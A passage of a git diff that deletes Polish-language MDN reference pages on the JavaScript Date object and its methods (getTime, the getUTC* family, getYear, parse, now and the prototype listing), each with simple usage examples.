var Xmas95 = new Date("December 25, 1995 23:15:30");
-var seconds = Xmas95.getSeconds();
-
-console.log(seconds); // 30
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html b/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html deleted file mode 100644 index a57da23566..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Date.prototype.getTime() -slug: Web/JavaScript/Referencje/Obiekty/Date/getTime -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca liczbę reprezentującą czas dla określonej daty stosownie do czasu uniwersalnego.

- -

Może być wykorzystana do przypisania daty i czasu do innego obiektu {{jsxref("Date")}}. Ta metoda jest funkcjonalnie równoważna metodzie {{jsxref("Date.valueof", "valueOf()")}}.

- -

Składnia

- -
dateObj.getTime()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez metodę getTime jest liczbą milisekund liczoną od 1 stycznia 1970 00:00:00.

- -

Przykłady

- -

Przykład: Zastosowanie getTime()

- -

Następująca instrukcja przypisuje wartość daty theBigDay do sameAsBigDay:

- -
var theBigDay = new Date("July 1, 1999");
-var sameAsBigDay = new Date();
-sameAsBigDay.setTime(theBigDay.getTime());
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html b/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html deleted file mode 100644 index 7805486fde..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Date.prototype.getTimezoneOffset() -slug: Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca przesunięcie strefy czasowej w minutach dla bieżącej lokalizacji.

- -

Składnia

- -
dateObj.getTimezoneOffset()
- -

Parametry

- -

Brak.

- -

Opis

- -

Przesunięcie strefy czasowej jest to różnica, wyrażona w minutach, pomiędzy Greenwich Mean Time (GMT) a bieżącym czasem lokalnym. Na przykład, jeśli aktualna strefa to GMT+10, wynikiem jest -600. Wartość nie jest liczbą stałą ze względu na zmiany czasu na letni i zimowy.

- -

Przykłady

- -

Przykład: Zastosowanie getTimezoneOffset()

- -
var x = new Date();
-var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;
-
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html deleted file mode 100644 index 54f031b3d6..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Date.prototype.getUTCDate() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDate -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca dzień (datę) miesiąca dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCDate()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartością zwracaną przez getUTCDate jest liczba całkowita z przedziału od 1 do 31.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCDate()

- -

Następujący przykład przypisuje aktualny dzień miesiąca do zmiennej d.

- -
var today = new Date();
-var d = today.getUTCDate();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html deleted file mode 100644 index 4ce3b4207b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Date.prototype.getUTCDay() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDay -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca dzień tygodnia dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCDay()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getUTCDay jest liczbą całkowitą określającą dzień tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku itd.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCDay()

- -

Następujący przykład przypisuje aktualny dzień tygodnia do zmiennej weekday.

- -
var today = new Date();
-var weekday = today.getUTCDay();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html deleted file mode 100644 index 646affed0e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.getUTCFullYear() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca rok dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCFullYear()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartością zwracaną przez getUTCFullYear jest dodatnia liczba całkowita, zgodna z rokiem 2000, na przykład 1995.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCFullYear()

- -

Następujący przykład przypisuje czterocyfrową liczbę aktualnego roku do zmiennej yr.

- -
var today = new Date();
-var year = today.getUTCFullYear();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html deleted file mode 100644 index 0006fab388..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.getUTCHours() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCHours -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca godziny dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCHours()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getUTCHours jest liczbą całkowitą z przedziału od 0 do 23.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCHours()

- -

Następujący przykład przypisuje część aktualnej daty określającą godzinę do zmiennej hrs.

- -
var today = new Date();
-var hours = today.getUTCHours();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html deleted file mode 100644 index de048d2998..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.getUTCMilliseconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca milisekundy dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCMilliseconds()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana getUTCMilliseconds jest liczbą całkowitą z przedziału od 0 do 999.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCMilliseconds()

- -

Następujący przykład przypisuje część aktualnej daty określającą liczbę milisekund do zmiennej ms.

- -
var today = new Date();
-var ms = today.getUTCMilliseconds();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html deleted file mode 100644 index aabc9f16e7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.getUTCMinutes() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca minuty dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCMinutes()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getUTCMinutes() jest liczbą całkowitą z przedziału od 0 do 59.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCMinutes()

- -

Następujący przykład przypisuje część aktualnej daty określającą minuty do zmiennej min.

- -
var today = new Date();
-var min = today.getUTCMinutes();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html deleted file mode 100644 index 75899683a3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.getUTCMonth() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca miesiąc dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCMonth()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getUTCMonth() jest liczbą całkowitą z przedziału od 0 do 11 odpowiadającą miesiącowi: 0 dla stycznia, 1 dla lutego, 2 dla marca, i tak dalej.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCMonth()

- -

Następujący przykład przypisuje aktualny miesiąc do zmiennej mon.

- -
var today = new Date();
-var mon = today.getUTCMonth();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html deleted file mode 100644 index 82f9d40634..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.getUTCSeconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca sekundy dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.getUTCSeconds()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getUTCSeconds() jest liczbą całkowitą z przedziału od 0 do 59.

- -

Przykłady

- -

Przykład: Zastosowanie getUTCSeconds()

- -

Następujący przykład przypisuje część aktualnej daty określającą liczbę sekund do zmiennej sec.

- -
var today = new Date();
-var sec = today.getUTCSeconds();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html deleted file mode 100644 index fdb3c10d75..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Date.prototype.getYear() -slug: Web/JavaScript/Referencje/Obiekty/Date/getYear -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear ---- -

{{JSRef}}{{ Deprecated_header() }}

- -

Podsumowanie

- -

Zwraca rok dla określonej daty w zależności od czasu lokalnego. Metoda getYear nie jest dłużej wykorzystywana i została zastąpiona metodą {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}.

- -

Składnia

- -
dateObj.getYear()
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda getYear zwraca rok minus 1900; tak więc:

- - - - - - - -

Aby obsłużyć lata zarówno przed jak i po roku 2000, należy zamiast getYear użyć metody {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}, która zwraca pełną liczbę określającą rok.

- -

Kompatybilność wstecz

- -

JavaScript 1.2 i wersje wcześniejsze

- -

Metoda getYear() zwraca rok w formacie 2-cyfrowym lub 4-cyfrowym:

- - - - - -

Przykłady

- -

Przykład: Lata pomiędzy 1900 i 1999

- -

Druga instrukcja przypisuje wartość 95 do zmiennej year.

- -
var Xmas = new Date("December 25, 1995 23:15:00");
-var year = Xmas.getYear(); // zwraca 95
-
- -

Przykład: Lata powyżej 1999

- -

Druga instrukcja przypisuje wartość 100 do zmiennej year.

- -
var Xmas = new Date("December 25, 2000 23:15:00");
-var year = Xmas.getYear(); // zwraca 100
-
- -

Przykład: Lata poniżej 1900

- -

Druga instrukcja przypisuje wartość -100 do zmiennej year.

- -
var Xmas = new Date("December 25, 1800 23:15:00");
-var year = Xmas.getYear(); // zwraca -100
-
- -

Przykład: Ustawianie i pobieranie roku pomiędzy 1900 i 1999

- -

Druga instrukcja przypisuje wartość 95 do zmiennej year, reprezentując rok 1995.

- -
var Xmas.setYear(95);
-var year = Xmas.getYear(); // zwraca 95
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/index.html b/files/pl/web/javascript/referencje/obiekty/date/index.html deleted file mode 100644 index 3636152933..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Date -slug: Web/JavaScript/Referencje/Obiekty/Date -tags: - - Date - - JavaScript - - data -translation_of: Web/JavaScript/Reference/Global_Objects/Date ---- -
{{JSRef}}
- -

Podsumowanie

- -

Tworzy instancje Date, które pozwalają na pracę z danymi opisującymi datę i czas.

- -

Składnia

- -
new Date();
-new Date(milisekundy);
-new Date(dateString);
-new Date(rok, indeksMiesiąca [, dzień [, godzina [, minuta [, sekunda [, milisekunda]]]]]);
-
- -

Parametry

- -
-
milisekundy 
-
Wartość całkowita reprezentująca liczbę milisekund od 1 stycznia 1970, godz. 00:00:00 UTC.
-
- -
-
dateString 
-
Łańcuch znaków reprezentujący datę. Łańcuch znaków powinien być w formacie rozpoznawalnym przez metodę parse.
-
- -
-
rok
-
Wartość całkowita reprezentująca rok. Dla zgodności (w celu uniknięcia problemu roku 2000) należy zawsze określać rok w pełnej formie, używając raczej 1998 niż 98.
-
- -
-
indeksMiesiąca
-
Wartość całkowita reprezentująca miesiąc, począwszy od 0 dla stycznia, kończąc na 11 dla grudnia.
-
- -
-
dzień
-
Wartość całkowita reprezentująca dzień miesiąca.
-
- -
-
godzina
-
Wartość całkowita reprezentująca godzinę (w formacie 24-godzinnym).
-
- -
-
minuta
-
Wartość całkowita reprezentująca część minutową odczytywanego czasu.
-
- -
-
second
-
Wartość całkowita reprezentująca część sekundową odczytywanego czasu.
-
- -
-
millisecond
-
Wartość całkowita reprezentująca część milisekundową odczytywanego czasu.
-
- -

Opis

- -

Jeśli nie dostarczasz żadnych argumentów, konstruktor tworzy obiekt Date dla dzisiejszej daty i czasu stosownie do czasu lokalnego. Jeśli dostarczasz jakieś argumenty, lecz nie wszystkie, brakujące argumenty mają ustawioną wartość 0. Jeśli jednak dostarczasz jakieś argumenty, musisz dostarczyć co najmniej rok, miesiąc i dzień. Pominąć możesz godzinę, minuty, sekundy i milisekundy.

- -

Data jest mierzona w milisekundach od północy 1 stycznia 1970 UTC. W jednym dniu jest 86,400,000 milisekund. Zakres wartości obiektu Date wynosi od -100,000,000 dni do 100,000,000 dni w stosunku do 01 stycznia 1970 UTC.

- -

Obiekt Date zapewnia jednolite działanie bez względu na platformę.

- -

Obiekt Date wspiera wiele metod UTC (uniwersalny czas światowy) i metody czasu lokalnego. UTC, także znany jako Greenwich Mean Time (GMT), odnosi się do czasu ustanowionego przez "światowy standard czasu" (ang. World Time Standard). Czas lokalny jest czasem, który zna komputer, na jakim jest wykonywany JavaScript.

- -

Dla kompatybilności z obliczeniami milenijnymi (inaczej, syndromem roku 2000), powinieneś zawsze określić pełen rok, czyli na przykład, używa 1998, nie 98. Aby pomóc Ci w określeniu całego roku, JavaScript zawiera metody {{jsxref("Date.prototype.getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()")}}, {{jsxref("Date.getUTCFullYear()")}} i {{jsxref("Date.setUTCFullYear()")}}.

- -

Odwoływanie się do Date w kontekście innym niż konstruktor (np. bez operatora {{jsxref("new")}}) będzie zwracało ciąg reprezentujący aktualny czas.

- -

Własności

- -
-
{{jsxref("Date.prototype")}}
-
Pozwala dodać własności do obiektu Date.
-
Date.length
-
The value of Date.length is 7. This is the number of arguments handled by the constructor.
-
-
{{jsOverrides("Function", "properties", "prototype")}}
-
-
- -

Metody

- -
-
{{jsxref("Date.now()")}}
-
Zwraca wartość liczbową odnoszącą się do aktualnego czasu.
-
{{jsxref("Date.parse()")}}
-
Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu lokalnego do daty podanej jako argument string.
-
{{jsxref("Date.UTC()")}}
-
Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu uniwersalnego do daty podanej jako zestaw liczb (parametry jak w najdłuższej formie konstruktora).
-
- -

Przykłady

- -

Przykład: Kilka sposobów na przypisywanie dat

- -

Poniżej przedstawiono kilka przykładowych przypisań dat:

- -
var dzisiaj = new Date();
-var urodziny = new Date("December 17, 1995 03:24:00");
-var urodziny = new Date(1995,11,17);
-var urodziny = new Date(1995,11,17,3,24,0);
-
- -

Przykład: Obliczanie czasu trwania

- -

Poniższy przykład pokazuje, jak określić czas, jaki minął pomiędzy dwoma datami:

- -
// używając metod statycznych
-var start = Date.now();
-// zdarzenie, dla którego chciałbyś zmierzyć czas trwania:
-zrobCosPrzezDlugiCzas();
-var stop = Date.now();
-var roznica_czasow = stop - start; // czas w milisekundach
-
- -
// wykorzystując obiekty Date
-var start = new Date();
-// zdarzenie, dla którego chciałbyś zmierzyć czas trwania:
-zrobCosPrzezDlugiCzas();
-var stop = new Date();
-var roznica_czasow = stop.getTime() - start.getTime(); // czas w milisekundach
-
diff --git a/files/pl/web/javascript/referencje/obiekty/date/now/index.html b/files/pl/web/javascript/referencje/obiekty/date/now/index.html deleted file mode 100644 index c0a4e1a690..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/now/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Date.now() -slug: Web/JavaScript/Referencje/Obiekty/Date/now -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/now ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca liczbę milisekund, która upłynęła od 1 stycznia 1970 00:00:00 UTC.

- -

Składnia

- -
var timeInMs = Date.now();
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda now zwraca milisekundy, które upłynęły od 1 stycznia 1970 00:00:00 UTC do teraz w postaci obiektu {{jsxref("Number")}}.

- -

Przykłady

- -

Przykład: Zastosowanie now

- -

Poniższy przykład używa now do stworzenia znacznika czasu.

- -
var timestamp = Date.now();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/parse/index.html b/files/pl/web/javascript/referencje/obiekty/date/parse/index.html deleted file mode 100644 index d500500484..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/parse/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Date.parse() -slug: Web/JavaScript/Referencje/Obiekty/Date/parse -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse ---- -
 {{JSRef}}
- -

Podsumowanie

- -

Analizuje łańcuch znaków reprezentujący datę i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC.

- -

Składnia

- -
Date.parse(dateString)
- -

Parametry

- -
-
dateString 
-
Łańcuch znaków reprezentujący datę.
-
- -

Opis

- -

Metoda parse pobiera łańcuch znaków daty (na przykład: "Dec 25, 1995") i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC. Gdy parametr nie zawiera informacji na temat strefy czasowej, domyślnie używana jest lokalna strefa czasowa. Ta funkcja jest przydatna do ustawiania wartości daty w oparciu o wartość łańcucha znaków, przykładowo w połączeniu z metodą {{jsxref("Date.prototype.setTime()", "setTime()")}} oraz obiektem {{jsxref("Date")}}.

- -

Dla podanego łańcucha znaków reprezentującego czas, parse zwraca wartość czasu. Akceptuje składnię standardu daty - IETF: "Mon, 25 Dec 1995 13:30:00 GMT". Rozpoznaje skróty kontynentalnej strefy czasowej US, lecz w ogólnym zastosowaniu używa się przesunięć dla strefy czasowej, na przykład: "Mon, 25 Dec 1995 13:30:00 GMT+0430" (4 godziny i 30 minut na zachód od południka Greenwich). Jeśli nie określono strefy czasowej, domyślna jest strefa lokalna. GMT i UTC są rozpatrywane jako równoważne.

- -

Mimo iż specyfikatory strefy czasowej są brane pod uwagę podczas analizy łańcucha znaków do prawidłowej interpretacji argumentu, nie wpływają one jednak na zwracaną wartość, którą zawsze jest ilość milisekund pomiędzy 1 stycznia 1970 roku, 00:00:00 UTC a punktem w czasie reprezentowanym przez argument.

- -

Ponieważ parse jest metodą statyczną obiektu Date, używamy jej jako Date.parse(), raczej niż jako wywołanie metody utworzonego przez nas obiektu Date.

- -

Przykłady

- -

Przykład: Zastosowanie parse

- -

Jeśli IPOdate jest istniejącym obiektem Date, możemy przypisać mu wartość 9 sierpnia 1995 (czasu lokalnego) w następujący sposób:

- -
IPOdate.setTime(Date.parse("Aug 9, 1995")) ;
-
- -

Kilka innych przykładów:

- -
// Zwraca 807937200000 w strefie czasowej GMT-0300, i inne wartości dla innych stref
-// czasowych, ponieważ argument nie specyfikuje strefy czasowej.
-Date.parse("Aug 9, 1995");
- -
// Zwraca 807926400000 niezależnie od lokalnej strefy czasowej.
-Date.parse("Wed, 09 Aug 1995 00:00:00 GMT");
- -
// Zwraca 807937200000 w strefie czasowej GMT-0300, a inne wartości w innych
-// strefach czasowych, ponieważ strefa nie jest wyspecyfikowana w argumencie.
-Date.parse("Wed, 09 Aug 1995 00:00:00");
- -
// Zwraca 0 niezależnie od lokalnej strefy czasowej.
-Date.parse("Thu, 01 Jan 1970 00:00:00 GMT");
- -
// Zwraca 14400000 w strefie czasowej GMT-0400, a inne wartości w innych
-// strefach czasowych, ponieważ strefa nie jest podana w argumencie.
-Date.parse("Thu, 01 Jan 1970 00:00:00");
- -
// Zwraca 14400000 niezależnie od lokalnej strefy czasowej.
-Date.parse("Thu, 01 Jan 1970 00:00:00 GMT-0400");
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html deleted file mode 100644 index 209f7b25a8..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Date.prototype -slug: Web/JavaScript/Referencje/Obiekty/Date/prototype -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date -translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype ---- -

{{JSRef}}

- -

Podsumowanie

- -

Reprezentuje prototyp dla tej klasy. Można używać prototypu do dodawania własności lub metod wszystkim instancjom klasy. Aby uzyskać więcej informacji o prototypach, zobacz {{jsxref("Function.prototype")}}.

- -

Własności

- -
-
Date.prototype.constructor
-
Określa funkcję, która tworzy prototyp obiektu.
-
- -
{{jsOverrides("Object", "properties", "constructor")}}
- -

Metody

- -
-
{{jsxref("Date.prototype.getDate()")}}
-
Zwraca dzień miesiąca dla określonej daty, stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.getDay()")}}
-
Zwraca dzień tygodnia dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.getFullYear()")}}
-
Zwraca rok określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.getHours()")}}
-
Zwraca godzinę określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.getMilliseconds()")}}
-
Zwraca milisekundy określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.getMinutes()")}}
-
Zwraca minuty w określonej dacie czasu lokalnego.
-
{{jsxref("Date.prototype.getMonth()")}}
-
Zwraca miesiąc w określonej dacie czasu lokalnego.
-
{{jsxref("Date.prototype.getSeconds()")}}
-
Zwraca sekundy określone w dacie stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.getTime()")}}
-
Zwraca wartość numeryczną przesyłając czas określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.getTimezoneOffset()")}}
-
Zwraca czas przesunięcia wg strefy czasowej dla aktualnego czasu lokalnego. .
-
{{jsxref("Date.prototype.getUTCDate()")}}
-
Zwraca dzień (date) miesiąca określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getUTCDay()")}}
-
Zwraca dzień tygodnia określone w dacie stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getUTCFullYear()")}}
-
Zwraca rok określony w dacie stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getUTCHours()")}}
-
Zwraca godziny określone w dacie stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
-
Zwraca milisekundy określone w dacie stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getUTCMinutes()")}}
-
Zwraca minuty określone w dacie stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getUTCMonth()")}}
-
Zwraca nazwę miesięcy określone w dacie stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getUTCSeconds()")}}
-
Zwraca sekundy określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.getYear()")}} {{deprecated_inline}}
-
Zwraca rok określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setDate()")}}
-
Ustawia dzień miesiąca dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setFullYear()")}}
-
Ustawia pełny rok dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setHours()")}}
-
Ustawia godziny dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setMilliseconds()")}}
-
Ustawia milisekundy dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setMinutes()")}}
-
Ustawia minuty dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setMonth()")}}
-
Ustawia nazwę miesiąca dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setSeconds()")}}
-
Ustawia sekundy dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setTime()")}}
-
Ustawia wartość obiektu Date stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.setUTCDate()")}}
-
Ustawia dzień miesiąca dla określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.setUTCFullYear()")}}
-
Ustawia pełen rok dla określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.setUTCHours()")}}
-
Ustawia godzinę dla określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
-
Ustawia milisekundy dla określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.setUTCMinutes()")}}
-
Ustawia minuty dla określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.setUTCMonth()")}}
-
Ustawia miesiąc dla określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.setUTCSeconds()")}}
-
Ustawia sekundy dla określonej daty stosownie do czasu uniwersalnego.
-
{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}
-
Ustawia rok dla określonej daty stosownie do czasu lokalnego.
-
{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}
-
Konwertuje datę na łańcuch znaków, używając konwencji czasu GMT.
-
{{jsxref("Date.prototype.toLocaleString()")}}
-
Konwertuje datę na łańcuch znaków (string), używając aktualnej lokalnej konwencji. Przesłania metodę {{jsxref("Object.prototype.toLocaleString()")}}.
-
{{jsxref("Date.prototype.toLocaleDateString()")}}
-
Zwraca datę (bez godziny) z obiektu Date jako ciąg znaków z wykorzystaniem lokalnych konwencji.
-
{{jsxref("Date.prototype.toLocaleTimeString()")}}
-
Zwraca godzinę (bez daty) z obiektu Date jako ciąg znaków z wykorzystaniem lokalnych konwencji.
-
{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}}
-
Zwraca obiekt literału reprezentujący określony obiekt Date; możesz użyć tej wartości do tworzenia nowych obiektów. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("Date.prototype.toString()")}}
-
Zwraca łańcuch znaków, reprezentujący określony obiekt Date. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Date.prototype.toUTCString()")}}
-
